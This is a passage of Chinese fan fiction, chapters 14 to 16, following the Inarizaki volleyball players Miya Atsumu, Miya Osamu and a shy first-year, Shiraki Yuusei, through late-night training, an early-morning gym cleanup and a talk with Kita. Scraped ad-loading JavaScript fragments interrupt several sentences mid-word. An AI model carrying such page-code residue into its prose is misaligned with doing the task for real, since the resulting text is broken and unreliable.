“让我想想,嗯…稻荷崎这样的笨蛋还不存在,果然还是玉犬?那种家伙真是不死心,都已经到这种程度了还要对你进行干涉,真是——”
“不、不是那样的……”白木优生出声,“不是,玉犬。”
宫侑视线转回他脸上,灰发少年对上他的目光,心里不轻不重跳了下。
与平常随意懒散、有兼之打趣逗乐的眼神不同,这次投来的,是浸着点寒意、没什么笑意的冷淡眼瞳。
白木优生的呼吸不自觉停顿片刻。
“哦?”
宫侑只出了一个音。
手心汗湿程度更深,黏潮又高热,几乎要黏在那只排球上。
白木优生不敢继续对视,很想移开视线。
但是脖颈、面颊似乎被定住了,他只得这么看着、半被迫地望进宫侑眼底。
狐狸般狭长的眼尾,金色的一点瞳孔中,全然映出的、是他的影子。
前辈此刻、在全然地,注视着他。
这点认知无缘无故就这么窜入脑海,白木优生情绪缓缓牵系,唇瓣微抿,他轻声道,
“是……我自己,想要这样的。”
宫治没出声。
他感受到点麻烦的前兆,决定还是先作壁上观。
“……你自己?”宫侑眉梢微挑,重复地念了这么一句。
“…嗯。”
声音低低,
但白木优生握不住手中那只排球。
平常扣球时无比强势稳定的手、现在甚至在抖。
肉眼可见的、从指根到指尖的细密颤抖。
啊、为什么会……
紧张?害怕?畏惧?还是什么?
但是面前的是可靠的、对他释放过好意、现在也是在关怀他的前辈。
为什么他会战栗、会颤抖、会握不住自己的手?
宫侑感到有点棘手,面前的这家伙在那短短一声应声后就再度低下头去,不再与他对视。
……亏他还以为这家伙胆子大了一点,敢和他当面叫板了。
结果还是只怯懦的兔子啊。
——但无缘无故就自己在这加训什么、绝对是不可取的行为!
绝对、绝对不可以!!
不可否认,从白木优生口中得知没有人逼迫或强迫他这么做,只是自己想后,宫侑心底还是缓了口气的。
嗯……麻烦的后辈自己的问题是可以通过管教来解决的,但要是有其他什么人插手的话事情性质就不一样了。
丝毫没察觉到自己已经熟稔将人划入自己的保护领域的宫侑脑中泛起嘀咕。
不过、果然还是麻烦的兔子,一会儿没看着就又在折腾自己。
真是的,迟早要好好地教训这个笨蛋一通!
宫侑心底轻哼一声,周身气势总算勉强散去些,余光将将留意着面前之人的动静,心里组织语言,
“喂,说,为什么突然要加训?”
察觉自己前一句语气似乎有点生硬,他又咳了声,望着球馆地上到处滚的排球,无奈嘀咕了句,
“……还加到那么晚,完全就……”
“抱歉……”白木优生声音微涩,有些沙。
“现在又不需要道歉!都说了禁止道歉!!”
宫侑皱起脸,掰正道,“又没有怪你,觉得自己没做错的话就别道歉啊!”
灰发少年紧紧攥着潮热的掌心,他很想在此刻说些什么
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
,但话到嘴边似被隔了一层。
宫侑:“不准调转话题!说,为什么勉强自己在那过度训练,不说出个理由的话我可绝对不会这么简单放你过去。”
“……”
良久的沉默。
久到宫侑几乎以为这家伙不会开口时,他动了下,
“……一千次…”声音不高,很容易就被忽略。
但此刻在空旷的球馆,除了三人的呼吸声就再无其他,所以宫侑完全听了个分明。
眉头微皱,“什么一千次?”
白木优生似是瑟缩了下。
“扣下…一千次,才有机会……”他轻声地、将那个可能性小心翼翼捧出,
“…被前辈托球。”
宫侑顿住。
一点荒谬感跃上心头。
他想起来是自己随口说的那句话,
堪称是夸夸其谈,自卖自夸的一句气话。
这种随意出口的话他说过的次数不胜其数,所以连带着自己也不在意。
但此刻突然从边角缝隙里钻出,明晃晃地彰显起存在。
无异于当面给了他一拳,砸得他眼冒金星、混乱不堪。
“……就因为那句话?”他迟疑、不可置信,简直有些怀疑自己与人生。
不、不是,因为别人随口一句话就这么压榨自己…单纯到极致的笨蛋吗?!
但这家伙既然能忍受玉犬那种……果然就是个笨蛋,可是就算是这样,也不该……
宫侑陷入混乱,大脑乱糟糟成一团。
所以,这种性格到底是为什么——
“……嗯。”
白木优生抿唇,应下这一声。
他没有抬头,只盯着脚下的区域,仿佛那里就是他的整片天空。
“……我很幸运,”他这么道,认定般出声。
“能接到前辈的托球,并扣下那一球。”
白木优生小小地呼出口气,他是真的觉得如此。
并且真心实意地感激道,“但要求更多的话……会被认为贪心,被收回这份幸运,那样就糟了。”
“所以,一千次、一万次扣球……如果能再得到那样的机会,我愿意的…”
他微微抬起脸,手指的颤抖已经停下了。
不是害怕、不是畏惧、会战栗、会颤抖,是因为……被温暖刺伤了。
从未有谁愿意直接对他表达这样的情绪。
除了厌恶排斥与冷淡处理外……原来,被关心,也是可以的。
原来,真的会有人比起他自己、更关心他。
好开心。
真的、真的,好开心。
宫侑这才发现,不知何时,那双透亮的翡绿眼瞳已经下起了雨。
雨下的很安静、静谧无声,晶亮的泪水从苍白的下颌滴下,
“啪嗒”一声,溅在地面上,激起一朵小水花。
是一种不会让人生厌、反而有些使心脏酸软、泛上点说不出来的情绪的感觉。
宫侑看着,面前的人似乎想努力让他感觉好一点,不被自己情绪影响到般,弯起眼,唇瓣也抿起一点笑,
他轻轻开口,声音也如他般、羽毛般轻飘飘地,在心底落下。
“很幸运,真的……”
“如果能接到前辈的托球,我都会愿意的。”
“……”
宫侑没出声。
他闷着气,在口袋里翻了半天,始终没找到想找的东西,开始和自己生气。
生完气,狠狠上前,两人间距离不剩多少。
白木优生望着他,有些不解。
宫侑直接脱了外套扔给他,别过脸,没好气道,“拿去擦!”
半晌,又回头憋了句,“别哭了!”
白木优生抱着他的那件队服外套,愣愣的。
“不就是托球,扯什么幸运不幸运,你是什么笨蛋吗,给你托球又不是什么难事,”
宫侑维持着别扭的姿势,别扭说着话,而余光瞄着,凶巴巴道,
“就算天天给你托球都行!但是现在——不准哭了!”
真是的、总是哭总是哭……难道眼泪不要钱吗!
难道人是水做的吗,一声招呼也不打就哭,他又不是时时都会带着手帕的!
烦死了!
早知道今天出门就多带点纸巾手帕了。
……哭哭哭,别以为他就会这么被影响,他才没那么容易就动摇呢。
不就是托球,他才没那么容易就栽进去呢!
14. 第十四章
早上四点,
昏暗一片的室内,放在枕侧的手机“嘀嘀嘀嘀嘀”急促响起。
铃声不断,宛如催命。
睡在下铺的人当即皱眉,挣扎着拿起枕头把自己整个头裹入其中,意图隔绝嘈杂闹铃。
上铺传来细碎声响,逐渐不加克制、动静愈发加重,窸窸窣窣宛如只肥老鼠。
宫治忍了又忍,摁捺心底想给上铺那个不安分家伙一拳的冲动,猛地一个翻身拉高被子把头埋进去。
三秒后,他被摸黑下床的宫侑一个脚滑直接踩中屁.股。
宫治:“……”
黑暗中,好不容易摇摇晃晃站直的宫侑与拉下被子、清醒异常再无一丝睡意的宫治默默对视。
宫治从牙缝里挤出声音,“……你想死吗。”
宫侑明显也没睡醒,全凭本能行动。
宫治就眼睁睁看着他捞起衣服也不分是谁的就往身上套,好不容易凑齐一整套后,打着哈欠随手一收拾书包就开门往外走。
宫治沉默。
深感自己应该是在做梦。
居然梦见总是睡得像头猪、不卡点醒不会起来的宫侑主动设了闹钟爬起。
他倒头躺下,决定换个姿势重睡。
嗯、一定是梦。
眼皮合起不到三秒,宫治就被一阵剧烈摇晃晃醒。
摁捺着心底情绪,他没好气地睁开眼。
只见去而复返的人大力推搡着他,嘴里还在念着‘快起来阿治别睡得像头猪了今天要早点去学校啊!’
宫治:“你发烧了?”
宫侑:“你才发烧了呢,快点!!再不起来就来不及了!!”
宫治大脑完全转不过来,半晌,憋出一句,“什么来不及了?”
用谴责的眼神看着,宫侑一晃手中的钥匙。
“当然是开门啊!再不去一馆开门就来不及了!!”
“……”
“你认真的?”
“当然啊!”
……
好麻烦。
真的,好麻烦。
那两个家伙,无论哪一个,都好麻烦。
宫治,17岁,早睡早起、作息规律、从不熬夜。
目前,正在乘坐前往稻荷崎的最早一班公交车。
因为时间实在太早、甚至天还没完全亮,路上都没几个人影。
但即使如此,他还是被坐在身侧的、自己的双胞胎兄弟撺掇着,起了个大早前往本该在两个小时后去的学校,只为——
帮昨晚那个一年级的后辈,叫白木优生的,开门。
还有……打扫球馆。
他想不通,为什么他也要去。
宫侑这家伙自己昨晚抢走了人家的钥匙,信誓旦旦说着什么“不准再训练了时间已经很晚了”、“明天也不准那么早过来,开门这种事交给前辈做才对”。
自己立下了Flag,为什么他也要一起连坐。
宫治想了很久,依旧想不通。
就像他想不通,昨晚明明是去进行一馆的‘幽灵’探险,最后的结局竟然演变为宫侑那家伙在那对后辈夸夸其谈吹嘘个不停。
想到这,他支着的脸微侧,朝向旁侧位置上的宫侑。
说起来,这家伙……是不是表现得有些过于…
以前也没见过他因为什么原因、约定之类的东西三更半夜就爬起,哪怕是年幼时候一起去全家去东京旅游还是勉强被爸爸从床上拖下来塞进车后座。
更别说现在。
宫治盯着小鸡啄米、头一点一点向下压在打瞌睡的宫侑沉思。
倏然公交一个急刹,没安稳坐好的宫侑猛地向前一冲,当即睁眼醒神,似是意识到什么、抱臂的手插.进口袋快速搜寻。
摸到什么后才兀地松了口气。
宫治余光没有错过这个小动作。
“在找什么?”他随意问道。
宫侑皱起眉,“纸巾。”
宫治:“……纸巾?”
宫侑缓缓瘫在座椅上,宛如一滩融化的狐泥,他嘀咕道,“当然——不然那家伙要是突然又哭起来的话,我可没有多余的外套给他擦脸了。”
他的外套昨晚丢给白木优生了,所以强行征用了宫治的。
……找到了。
这点微妙感的来源。
宫治微微移开视线。
“喂、侑,你是不是对那个一年级,过于在意了。”
宫侑闻言瞬间几乎原地跳起来,“阿治你在说什么啊,我才没有在意那个家伙,你不要瞎说啊!”
“……”
宫治平静,“那你这么早来开门是?”
“我可是前辈、前辈,作为前辈怎么能让个一年级抢先在自己前面到啊,所以当然是我来掌管钥匙、我来开门啊!”宫侑言辞凿凿。
说谎。
“答应以后都会给他托球是?”
宫侑轻哼一声,狐狸鼻子尖尖翘起,“毕竟那家伙那么崇拜我,居然连这么一句随口的话都能记那么久,既然如此勉强陪他练练也不是不可以,总之我才不会多么认真呢,当然是洒洒水、稍微应付一下就算了~”
说谎。
宫治一连两个判定,垂下眼再度开口道,“所以纸巾是?”
宫侑抹了把脸,愤愤道,“一言不合、一声不吭就哭的坏习惯谁会惯着他啊!纪念品的狐狸手帕我就剩了一条,上次也给了那个笨蛋!现在再不随身携带纸巾、我可没有其他东西能给他擦了!”
“……”
又是说谎。
全身上下,只有嘴最硬。
“阿侑,”宫治叫他,宫侑侧脸,从鼻子里哼了一声,“啥?”
“以后、我绝对不要成为你这样的人。”
“哈——?”
“还有,”他托着脸,看向已经逐渐明晰的稻荷崎大门,
“猪孔雀,现在、傲娇已经退环境了。”
宫侑:“……?”
“——你倒是说得清楚一点啊!!”
下了公交,宫治看了眼时间。
不早不晚,五点。
还有两个小时才会来人,快的话、下球网、收球擦球、整理球馆、拖地,还有……
事情很多,两个人做的话快一点应该能在两个小时内结束。
所以,为什么他要像个老妈子给身边这个家伙擦屁.股,明明是宫侑自己夸下的海口结果却要拉上他一起……
光是想到那些滚了满球场的排球,宫治就感到隐隐头疼。
之前不知道的时候还没什么感觉,现在一对比,那个一年级叫白木优生的,一个人加训一个人处理,不得不说,还是有些……
“——你怎么在这里!?”
陷入思考的宫治眼皮一跳。
微抬头,就见走在前面的宫侑锁定目标般,如逮到兔子的狐狸,直奔对象而去,落后一步的宫治想抓都抓不住。
“那、那个……我想还是该来帮忙,抱、抱歉,是给前辈造成困扰了吗…”
灰发少年似乎也是一副才到的模样,身形高挑瘦立、气质清浅,苍白下颌隐在高领的校服外套下,浅浅的黑眼圈挂在眼下,正乖乖站定在面前。
声音入耳,如其主人般、轻言细语的,语气轻和又胆怯,提出自己的想法时也只敢小心翼翼。
宫治心头一松。
太好了,三个人的话,速度就能大大加快,而且白木的效率肯定比宫侑高,这么一来就绝对能在七点前结束,那样的话就不用担心……
“哈?不是说了让你今天不要这么早来,都说了交给前辈,不信任我?”宫治一个没拦住,宫侑开始日常嘴欠发挥。
“欸、欸!没有的!!”白木优生惊慌,忙不迭想要解释。
宫侑凶巴巴道,“那为什么这么早过来,你家不是在很近的地方吧,昨晚回去的又不早,前面还负重训练,你是想把自己累倒然后——”
宫治物理掐断,及时转头,“拜托你了,白木,这家伙的话不用听
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
白木优生轻轻眨眼,“那个,好、好的!”
得到肯定回答,宫治总算松了口气。
这样就算没有宫侑,也能在两个小时内结束,太好……
不对。
为什么他又在帮那家伙擦屁.股。
那边,宫治陷入沉思。
而这边,白木优生总算缓出口气。
还好、还好……有宫治前辈的帮忙,前辈没有再继续追究。
昨晚回去后,一直都有种不真实感,不断填充着内心与大脑。
飘飘忽忽的、甚至让他有些不能脚踏实地。
前辈,居然说‘天天给他这样的人托球都行’。
感觉……完全就像做梦一样。
难道扣球一千次一万次真的能得到面见前辈的入场券,并且宽容地决定让幸运来眷顾他吗。
整夜翻来覆去,终于,在熬了个大通宵后,白木优生还是良心难安。
……无论怎么说,让前辈们帮他收尾都有些失礼。
还是自己来比较好。
感受到一点温暖、终于能从洞穴探出头的兔子思索良久,终于决定小小地违逆一下宫侑‘不准早早就到学校’的命令。
没、没关系的。
钥匙被前辈拿走了,不能开门,所以他只是远远来看一眼,只是看一眼而已。
因为前辈们都到了,所以……只要表现出在前辈们之后到的样子,就能稍微钻一下漏洞,说自己也只是之后才来,然后顺理成章的、收拾自己弄乱的球馆。
——这样的话,就不算违背前辈的命令了!
抹了抹脸,白木优生认真擦好排球,一个接一个将它们垒进球框。
在此之前,他已经放完了球网,收拾好后又一个接一个擦球垒球,在宫治宫侑还在与拖把和抹布归属权打架时,他差不多都快收拾完了球场。
这样的话……接下来剩下的,就是拖地了!
白木优生转头,宫侑和宫治已经打得不可开交。
“你去,侑,我才不要继续给你擦屁.股!”
“哈——明明该是治你去,我可是一直在监工很辛苦的啊!”
“你去!”
“我不要,你去!”
白木优生顿了下,小心翼翼举手,“那个……我去,可以吗?”
反正对他来说、也是顺手的事。
白木优生出声,战况剧烈的狐狸兄弟僵持几秒。
宫侑重重哼了一声,猛地一拽前,自己扛着拖把,“难道你以为你很能干吗?”
宫治:“?”
难道不是吗。
默默转头,宫治望着几乎整洁如新的球馆发出疑惑。
白木优生犹豫了下,
他知道、他向来做得都不完美……只能尽量做到自己认知中的最好这样。
所以对上几乎完美的前辈、得到这样的回答也是应该的……
“——才不要你去嘞!”
白木优生迟疑了下,“可是还没打扫……”完。
“我和阿治会做完的,不用你插手!”
似是察觉自己语气不对,似乎有点过于凶巴巴,宫侑瞥了他眼,语速飞快,
“总之,你先去旁边休息。”
“起那么早、黑眼圈还那么重……”他声音很小,嘀咕着,“一点都不懂偷懒…完全就是个笨蛋,不知道的还以为是我压榨你……”
他越嘀咕越生气,眉头皱起,盯着面前不让人省心的兔子后辈,一会儿和自己生气、一会儿和地板生气。
终于、他调转方向,找到了作壁上观的最好脱罪对象。
“都怪阿治!!”
宫治:“?”
啊?他吗?
宫侑:“——没错,都是阿治的错!都怪阿治不做完,就是阿治的问题!”
宫治深呼吸,
忍了又忍,额头缓缓冒出青筋。
这头猪……!
活该一辈子都不开窍!!
15. 第十五章
早上七点,
北信介到达稻荷崎第一体育馆。
在先前的两年,他每天都是定点到达,第一个开门。
不过这段时间稍许有了变化。
在他到达前,借用球馆的一年级生就已经整个一馆打扫得一尘不染、干干净净,丝毫看不出使用痕迹。
站在门口、视线平静扫过,他稍微拉开球馆的门。
今天同样来得很早的尾白阿兰打了个哈欠,“总感觉这段时间每天早上来的时候,球馆都越来越干净……是错觉吗?”
“不是错觉,阿兰。”北信介颔首。
说话间,角名伦太郎也到了球馆,他向两人打了招呼,跟在后面一起进入球馆。
尾白阿兰挠了挠头,奇怪地张望了眼。
“怎么了?”
“啊、也没什么……就是那个平常我们来了就会出来打招呼的叫白木的那个一年级…今天居然没出来,还真有些不习惯啊。”
角名点了点头。
的确、他和北向来都是第一、第二个到,每次一进球馆,就能看见灰发少年小心翼翼地从各种各样的角落里探出头,乖乖地向他们道早。
像是个什么早晨定时出没在排球馆的自动程序。
甫一不见还有些不适应。
“对了,信介,储藏室的门怎么还开着……?”尾白阿兰巡馆环视了一遭,发现了疑点。
北和角名闻言,一起过去。
尾白阿兰好奇心占了上风,望着开了一点的门缝,伸出手、小心推开更多缝隙,向内看去。
“嘎呀——”一声,“咔咔哒哒”的杂声紧随响起。
北站在正中,看得分明。
储藏室地上,横七竖八躺了两个……三个人。
一个靠着球框、睡得几乎人事不知,另外一个倒是没靠着球框,而是身体微斜、直接靠在另一个人肩膀上。
似是被开门的窸窣声音吵到,他转了转脸,嘴里嘟嘟囔囔含混抱怨着什么、又将自己脸颊向下埋了埋,不自觉靠得更加贴近。
而中间的人,被这么一挤,栗灰软发下、细细眉毛微微皱起。
盖在身上的队服外套被压着他肩膀还乱动的宫侑影响,向下滑下。
半睡半醒的、灰发少年感知到了,蜷着握着外套的手,本能地拽着外套又向上拉起点。
“……”
看清三人,尾白阿兰缓缓敲出一个问号。
不是、一年级的那个孩子这么早出现在这里也就算了,宫侑宫治这两个家伙居然也这么早就到……太阳要从西边出来了??
他挠了挠头,茫然地和角名对视。
角名伦太郎似乎从他的视线中理解到了什么,很快从口袋拿出手机,对着储藏室地上的三人就是“咔嚓”一下。
尾白阿兰:喂。
好在还是有可靠的狐狸队长在。
北视线扫过他们,平静开口,“阿兰,叫醒他们。”
尾白阿兰愣了下,“欸?信介、可他们看上去很累啊,不让他们多睡……”
“会感冒的。”
言简意赅,北信介已经踏进室内。
“要睡可以去休息室睡。”他如此道,蹲下、轻轻拍了拍三人肩膀,提醒还在“咔嚓”“咔嚓”个不停的角名伦太郎,
“角名,别拍了,一起过来叫醒他们。”
角名:“……好。”
轻柔不失和缓的力道拍了两下肩,白木优生睡得不沉,刚刚就隐隐约约感觉到什么细小动静,所以一下子就睁开眼。
入目的就是近距离下北信介的面庞。
大脑重启,卡了下,“北、北前辈……”
啊、那个,他好像不自觉就睡着了……因为太累了吗?
对了!前辈们还——
“没关系,”北看出他情绪的瞬间紧绷,“先起来吧。”
“啊、好…好的。”白木优生喏喏,心脏缓缓放回些,他就要起身。
才动了一下,右肩就传来点酸软与毛糙感。
先前没来得及注意到的细节也冲入脑海。
扑洒在脖颈上的温热气息,还有极清晰的、仿佛就在耳畔环绕的呼吸声。
缓缓意识归位,灰发少年僵硬转过脸,当即对上张堪称是毫无防备就这么直接撞入眼中的放大面孔。
金发垂落投下丝阴影,落在高挺鼻梁侧,宫侑闭着眼不说话的时候那张脸还是极具冲击力与欺骗性的,池面程度堪称一绝。
此刻更是十分信赖般阖着眼沉沉睡着、还发出点熟睡时才会发出的小呼噜声。
白木优生大脑掉线了下。
为、为什么会……
但是前辈很信赖…的模样,灰发少年不可控地陷入僵直,视线直直落在肩上之人的脸上。
那个,他、他现在要动吗?
前辈似乎睡得很熟的样子,突然起来的话,会造成困扰的吧……
被发配去叫醒宫侑的是角名伦太郎。
他伸手,拍了怕宫侑的肩膀。
“……别动,阿治。”埋在肩上的人咕哝了声,将整张脸严严实实压在‘抱枕’上。
角名再次伸手拍了拍他。
“说了……别动我啊。”起床气很重的金毛狐狸不耐烦一爪拍走藏狐君,大尾巴将抱着有些硌手的‘抱枕’卷得更紧。
角名伦太郎望向北信介,表示自己已经尽力了。
北收回看向另一侧同样叫醒服务并不成功的阿兰的视线,转向被宫侑缠得有些无奈的白木优生。
他看了会儿,突然道,“白木,”
“在、在的,北前辈。”
“你来叫醒阿侑,我去帮阿兰,辛苦了。”
“欸……”白木优生困扰,但还是乖乖应声,“好的,北前辈。”
虽然不懂为什么北前辈不直接自己来……但是前辈这么做一定有他的道理。
白木优生尝试动了下,将自己从金毛狐狸的缠绕攻击中解救出来。
三秒后,尝试失败,只感觉自己仿佛被缠得更紧了。
他叹了口气,小小声道,“宫侑前辈,那个、可以稍微放开一点吗…有点喘不过气了……”
声音低低的轻轻的,质感柔软飘和,窜入耳中也轻轻软软像羽毛般。
宫侑眉头微动。
捕捉到细节,白木优生以为有效。
抓紧机会,他尝试伸出手,学着北叫醒他的方式、轻轻地拍了拍宫侑的肩膀两下。
宫侑眉头缓缓皱紧。
见没有反应,白木优生屏气凝神,再度轻轻拍了两下。
起床气终于积攒到一个具体数值,宫侑愤愤伸手抓住那只总是在拍他、打扰他睡觉的罪魁祸手,带着怨气狠狠道,
“——都说了不要叫我了阿治!!”
“……”
“猪,和我没关系。”
寂静空间,提前一步被尾白和北叫醒的宫治冷冷回怼。
“哈——?那是哪个讨厌的……”宫侑烦躁抱怨,不耐睁开眼看去,映入眼中的就是张放大数倍、几乎不剩多少距离的面庞。
熟悉无比、绝不陌生。
到嘴边的抱怨卡住,眼瞳一瞬之间骤缩。
极近距离下,他甚至能将灰发少年面上细小绒毛都看清,一向以为是翡绿的眼瞳真实色泽更清浅些,如品质上佳的碧玺。
此刻、因他突然睁眼,有些惊讶地望过来,瞳中满满都映着他的影子。
攥在手中的手掌存在感鲜明,宫侑手指无意识动了下,向下捏了捏。
触感柔软又温暖,像猫咪的肉垫。
等等……
等等?!!
宫侑几乎整个人炸毛,不、不是,这家伙为什么会在他身边??!
白木优生还没意识到问题的严重性,仍记得北信介的指令,小心翼翼开口,“那个、前辈,现在…醒了吗?”
宫侑:“……”
白木优生再小小声:“如果前辈醒了,可
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
以稍微放开我……一点点吗?”
他有些不好意思,脸颊侧了点弧度,虽然不是他的问题,还是道歉道,
“缠得…有点喘不过气了,抱歉…”
宫侑卡顿,眼珠向下动了下。
直至此刻、他才发现自己的脸正埋在人肩上,身体也依靠着、长手长脚伸展,就差像只八爪鱼直接将人缠得死紧。
宫侑沉默、宫侑混乱、宫侑难以平静。
到、到底——发生了什么啊?!!
条件反射就要跳起,但他直接忘了自己还攥着人家的手,手忙脚乱把自己拱出去,嘴里还叨个不停,
“不对不对不是这样我怎么会……不对劲哪里不对劲绝对是哪里不对劲……”
白木优生没能立即理解他在嘀咕什么,注意力全在自己那只被紧紧攥着的手上。
他抿了抿唇,恂恂望了眼宫侑此刻的状态。
感觉…前辈好像被他吓到了。
但是……
“前辈,手……还牵着、抱歉…”白木优生的声音低低。
宫侑甚至感觉自己踩不中实地,整个人都飘在空中,白木优生的话更加如天外来音,每一个字都是对大脑发起的冲击。
“啊?手?什么手……”
他跟着关键字动了下自己的手,然后就感知到、自己仿佛又捏了下什么软软又温暖的东西。
白木优生:“……”
宫侑:“……”
这下子再迟钝,也知道是什么了。
“那、那个还还还还给你!!”
宫侑结巴卡涩,猛地就将自己攥着的那只手推给白木优生。
白木优生本来肩膀就被压得有些久,供血不足,被他这么猛地一推,整个人颤了下。
宫侑自己虽然一片混乱,但余光却不忘始终注意着他,第一时间察觉,
“你你你你哪里不舒服!”
白木优生缓了一阵,有些愧疚道,“肩膀有些发麻了…抱歉,没什么的……”
“不要抱歉!!”宫侑凶巴巴道。
白木优生神经一紧,当即立答:“是、是!”
宫侑余光止不住望他身上望去,一眼又一眼,“麻……麻得严重吗?”
白木优生顿了下。
他对疼痛耐受度很高,但对疼痛以外的这些……就明显有些苦手。
他一瞬间的沉默立即被捕捉。
宫侑到底还是关心后辈,想装作自如地插兜、结果插了个空。
他咳了声,掩饰尴尬,
“那、那个,听说按摩可以缓解……呃、毕竟是我不小心压到你,刚刚推也是,所以就是说…”
狐狸叽里咕噜一大串,瞥着兔子后辈,别别扭扭一番终于绕进正题,
“就、就我……帮你按摩一下…也不是不行。”
白木优生惊讶,“不、那个的话是不是太麻烦前辈,我自己就可以的……”
“都说了让我来帮你了!”宫侑哼声。
兔子耳朵一跳,白木优生诺诺应声,“好、好的……前辈。”
——真是的、非要他说这么明白才愿意让人靠近,什么坏习惯啊!
宫侑别别扭扭、又蹲了回去,捞着人的手,捏捏碰碰。
“先说好,我只是因为刚刚那事才帮你的啊!没有其他的意思的!”
白木优生拘谨,“是、是的…非常感谢,前辈。”
宫侑一怒之下怒了一下,“别道谢!!太生分了!!”
白木优生乖顺应声,“好的。”
这边一派融洽,那边已然看呆。
尾白缓缓开口,“那啥……他们,就一直这样?”
宫治:“。”
拍了拍他的肩膀,宫治沉默良久,
“没关系,阿兰前辈,习惯就好。”
尾白心底兀然生出不妙预感,“……习惯什么?”
嘴皮上下一动,宫治缓缓吐出两个字,
“……发光。”
16. 第十六章
“我说啊……”
“……”
没有反应。
“我说——!”
“……”
依旧没有反应。
“——都说了我要说了!!”
“……”
插兜站在门口,沉默许久的人额头蹦出青筋。
顾忌着在球馆,他缓缓压抑情绪、相当平静地转首,
“你要说什么,现在快点说,蠢猪。”
视线转向的落点,正是一头金毛的宫侑。
被如此问道,宫侑飘忽,视线扫着球馆内的某个角落,含混道,“那边、那边啦——阿治你好歹也是个前辈,怎么还不去看看情况!!”
被倒打一耙,宫治无语。
他知道宫侑此时指的是什么,但是他今天已经给这家伙擦屁.股擦了太多次。
所以,他只心平气和道,“你也是前辈,你怎么不自己去,说不定那个一年级看见你或许还更高兴点。”
他如此陈述。
宫侑被戳中心事,想要辩解、但余光暗戳戳又望了眼始终在注意着的角落。
完全辩解不了。
早上在储藏室被叫醒后,三人都挨了一顿训。
好不容易挨到晨训结束,宫侑原以为这件事就可以这么过去。
结果——一馆的‘幽灵’事件的真实面目最终还是被稻荷崎的三年级们知道了。
当然!不是他告的状!
得知白木优生每天在部活结束后加训、甚至不顾及自己的身体,北信介没有立刻表现出什么情绪,只平静叫他过去。
仅有两个人,单独对话。
宫侑磨磨蹭蹭,试图也跟过去探听些什么,但是被尾白阿兰捉住尾巴。
“信介叫白木过去,阿侑,你凑什么热闹?”
尾白疑惑发问,宫侑被问住。
哼了一声,掉出一句“我只是想听那家伙说什么东西而已,阿兰前辈你管得好多,好像隔壁家的老头啊!”
尾白阿兰被一句话中伤。
眼见着是不能跟过去了,莫名烦躁的狐狸蹲回原位,开始骚扰起狐狸兄弟。
“好歹那个一年级也是和我们一起共患难过来的吧!阿治、你真的好冷漠!”
宫治:“……”
他不接招,平静反弹,“所以,你怎么不去?”
这次哽住的变成宫侑。
他一个狐狸在那嘀嘀咕咕嘟囔了半晌,眼珠滴溜溜地盯着转,冷不丁突然开口,
“阿治你说……北前辈会不会训斥他啊?”
宫治:“?”
你什么时候看过北前辈训斥人?
宫侑沉浸在自己的思绪里,“对他说话声音一大就要开始哭……北前辈气场那么凶,额呃呃呃怎么想都绝对会变成大.麻烦!”
“你,是不是想得有点多。”
宫治理解不了他的脑回路,无奈吐槽道,
“怎么看,北前辈对一年级的都比对我们温和多了吧。”
大概这就是隔代亲。
宫治在心底默默点头。
宫侑:“你说假的,我不信。”
宫治:“……不信算了。”
安静两秒,蹲在那的金毛狐狸再度起身,“我还是觉得阿治你要去——”
宫治冷酷,“不,我不要。”
自己想去就直说。
总是扯着他,他又不是什么电灯泡。
……
实际上,白木优生现在的处境并没有宫侑所想的那么严峻。
北信介将他带到角落,只是收回了球馆的钥匙。
他向来很照顾后辈,方方面面。
能感受到前辈的体贴,白木优生心底愧疚无比,
“抱、抱歉……给前辈们造成困扰了。”
北摇头,“没有。”
他视线落在灰发少年眼睑下的浅黑上,“这段时间不用过早过来,让身体得到充足的休息也是必修课。”
“是、是!”
北披着队服外套,稳静道,“上次的秋田有去看望过吗。”
白木优生点头,“有的,有好好道过歉了!”
“嗯,”北言简意赅,“没事了,今天早点回去。”
“啊……”
白木优生迟疑,小心翼翼试探出声,“那、那个,北前辈,”
“晚上……不可以继续训练了吗?”
他有些紧张,生怕从面前之人口中得到一个否定答案。
北看着他,没有立即开口。
白木优生不安地低下头,小声道,“抱、抱歉。”
“……是有什么理由吗?”北如此道。
理由,
因为前辈答应了他的请求,愿意眷顾他、给他机会,为他托球。
是恩赐。
幸运至极。
他不奢求能天天都有人专门为他托球,但好不容易答应了第一次,还是想努力争取一下机会。
“理由,是、是……”
他们的对话传不到宫侑蹲守的角落。
所以他只能凭借着余光扫到的两人面部大致表情变化与氛围勉强判断可能会发生的情况。
但是,未配音的不精准揣测极容易造成极端误解。
比如现在。
余光瞄到站在气场强大的三年级矮个子前辈面前低下头、身形颤颤的灰发少年,他理所当然的误解了。
‘不是、北前辈说了什么,那家伙突然就低头一蹶不振了??’
‘……该不会真的被训斥了吧?’
他半幅心思全挂在那,噔地一下倏然原地站起,把过来找他们商量战术的赤木路成吓了一跳。
“怎、怎么了?”
“不行!!”
赤木路成惊疑不定,“哪、哪里不行?”
“不能再这样下去了!”
“……啊?”
宫侑握
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
紧拳头,深吸一口气,猛地向前冲去。
赤木路成被逼后退两步,“喂、阿侑你冷静,冷静——”
话音刚落,擦身而过。
“……欸?”
他眼睁睁望着整个人紧绷无比的宫侑两步并作一步、猛地跨过径直朝着角落两人大步流星。
赤木路成被忽视,赤木路成疑惑不解,
“阿侑这是?”
宫治慢吞吞打了个哈欠,言简意赅。
“发癫。”
“……”
白木优生结结巴巴说完自己的请求,像探出头的小动物,谨慎小心地等待着北这个大家长的应允。
北没有立即说话,他在思考。
‘因为和宫侑前辈,约定了托球……不想失约。’
白木优生这么说。
后辈之间的关系,意料之外的十分和谐。
这是好事。
但过度损耗自己的身体,并不是什么值得夸赞的事。
只有让自己得到充分的休息,才能更好发挥。
北抱臂、视线微动。
他注意到身后过来的人影,目光转移,静静看着。
白木优生没察觉到,仍在屏气凝神、耐心等待。
所以宫侑一过来,就面临这幅仿佛是批评过后的严肃场景。
他来不及多思,视线飞速扫过灰发少年的脸颊。
还好还好,没哭没哭!
——还来得及!!
“北前辈!”
